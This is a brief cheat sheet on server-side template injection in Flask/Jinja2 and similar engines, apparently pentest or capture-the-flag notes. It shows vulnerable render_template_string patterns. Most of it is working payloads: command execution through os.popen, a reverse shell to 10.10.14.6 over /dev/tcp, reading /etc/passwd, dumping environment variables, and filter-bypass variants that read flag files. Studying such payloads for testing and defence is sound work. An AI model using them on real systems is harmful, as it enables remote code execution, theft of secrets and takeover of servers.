SSTI

Server Side Template Injection

flask.render_template_string directly renders user input as Jinja2 templates. Any user input passed to it becomes a SSTI

Vulnerable Code Patterns:
# DANGEROUS - Never do this
@app.route('/user/<username>')
def profile(username):
    template = f"Hello {username}!"
    return render_template_string(template)

# ALSO DANGEROUS
@app.route('/search')
def search():
    query = request.args.get('q')
    return render_template_string(f"Results for: {query}")
Jinja2, Twig, and Mako Engines.
${config}
${7*7}
${self}
Using OS module
${self.module.cache.util.os.popen('whoami').read()}
Python (Jinja2, Django) // PHP (Liquid) // Handlebars Engines

Testing

{{7*7}}
{{config}}
{{self}}

Exploitation

Python global scope
{{ namespace.__init__.__globals__.os.popen('id').read() }}
Reverse Shell
{{ namespace.__init__.__globals__.os.popen('bash -c "bash -i >& /dev/tcp/10.10.14.6/443 0>&1"').read() }}
Read /etc/passwd
{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['sys'].modules['builtins'].open('/etc/passwd').read()}}
Recursive file search
{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['sys'].modules['os'].popen('find / -name "*flag*" 2>/dev/null').read()}}
bypasses some WAF filters
{{request.application.__globals__.__builtins__.__import__('os').popen('cat /flag.txt').read()}}
Alternative access method when standard MRO traversal is blocked or filtered
{{config.__class__.__init__.__globals__['os'].popen('cat /flag.txt').read()}}
Environment Variable Access
{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['sys'].modules['os'].environ}}

The [104] index can vary between Python versions. Look for <class 'subprocess.Popen'> and note its index:

Lists all available subclasses
{{''.__class__.__mro__[1].__subclasses__()}}

Last updated